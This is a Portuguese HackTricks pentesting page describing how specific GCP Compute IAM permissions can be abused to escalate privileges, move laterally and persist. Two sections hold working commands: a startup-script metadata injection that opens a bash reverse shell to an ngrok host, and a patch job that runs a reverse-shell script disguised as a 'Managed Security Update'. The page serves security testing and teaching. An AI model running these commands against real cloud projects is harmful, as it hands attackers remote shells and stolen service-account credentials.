GCP - Compute Privesc

Support HackTricks

Compute

Para mais informações sobre Compute e VPC (rede) no GCP, confira:

GCP - Compute Enum

Observe que para realizar todos os ataques de escalonamento de privilégios que requerem modificar os metadados da instância (como adicionar novos usuários e chaves SSH) é necessário que você tenha permissões actAs sobre a SA anexada à instância, mesmo que a SA já esteja anexada!

compute.projects.setCommonInstanceMetadata

Com essa permissão, você pode modificar as informações de metadados de uma instância e alterar as chaves autorizadas de um usuário, ou criar um novo usuário com permissões sudo. Portanto, você poderá executar via SSH em qualquer instância de VM e roubar a Conta de Serviço do GCP com a qual a Instância está sendo executada. Limitações:

  • Observe que as Contas de Serviço do GCP executando em instâncias de VM por padrão têm um escopo muito limitado

  • Você precisará ser capaz de contatar o servidor SSH para fazer login

Para mais informações sobre como explorar essa permissão, confira:

GCP - Add Custom SSH Metadata

Você também pode realizar esse ataque adicionando um novo script de inicialização e reiniciando a instância:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Esta permissão dá os mesmos privilégios que a permissão anterior, mas sobre instâncias específicas em vez de um projeto inteiro. Os mesmos exploits e limitações da seção anterior se aplicam.

compute.instances.setIamPolicy

Esse tipo de permissão permitirá que você conceda a si mesmo um papel com as permissões anteriores e escale privilégios abusando delas.

compute.instances.osLogin

Se OSLogin estiver habilitado na instância, com esta permissão você pode apenas executar gcloud compute ssh [INSTANCE] e conectar-se à instância. Você não terá privilégios de root dentro da instância.

Para fazer login com sucesso com esta permissão dentro da instância VM, você precisa ter a permissão iam.serviceAccounts.actAs sobre a SA anexada à VM.

compute.instances.osAdminLogin

Se OSLogin estiver habilitado na instância, com esta permissão você pode apenas executar gcloud compute ssh [INSTANCE] e conectar-se à instância. Você terá privilégios de root dentro da instância.

Para fazer login com sucesso com esta permissão dentro da instância VM, você precisa ter a permissão iam.serviceAccounts.actAs sobre a SA anexada à VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

É possível criar uma máquina virtual com uma Conta de Serviço atribuída e roubar o token da conta de serviço acessando os metadados para escalar privilégios para ela.

O script de exploit para este método pode ser encontrado aqui.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Se você tiver as permissões osconfig.patchDeployments.create ou osconfig.patchJobs.exec, você pode criar um trabalho de patch ou implantação. Isso permitirá que você se mova lateralmente no ambiente e ganhe execução de código em todas as instâncias de computação dentro de um projeto.

Observe que, no momento, você não precisa da permissão actAs sobre a SA anexada à instância.

Se você quiser explorar isso manualmente, precisará criar um trabalho de patch ou implantação. Para um trabalho de patch, execute:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Para implantar uma implantação de patch:

gcloud compute os-config patch-deployments create <name> ...

A ferramenta patchy poderia ter sido usada no passado para explorar essa má configuração (mas agora não está funcionando).

Um atacante também poderia abusar disso para persistência.

compute.machineImages.setIamPolicy

Conceda a si mesmo permissões extras para a imagem de computação.

compute.snapshots.setIamPolicy

Conceda a si mesmo permissões extras para um snapshot de disco.

compute.disks.setIamPolicy

Conceda a si mesmo permissões extras para um disco.

Bypass Access Scopes

Seguindo este link você encontra algumas ideias para tentar contornar os escopos de acesso.

Escalação de Privilégios Local na Instância GCP Compute

GCP - local privilege escalation ssh pivoting

Referências

Support HackTricks

Last updated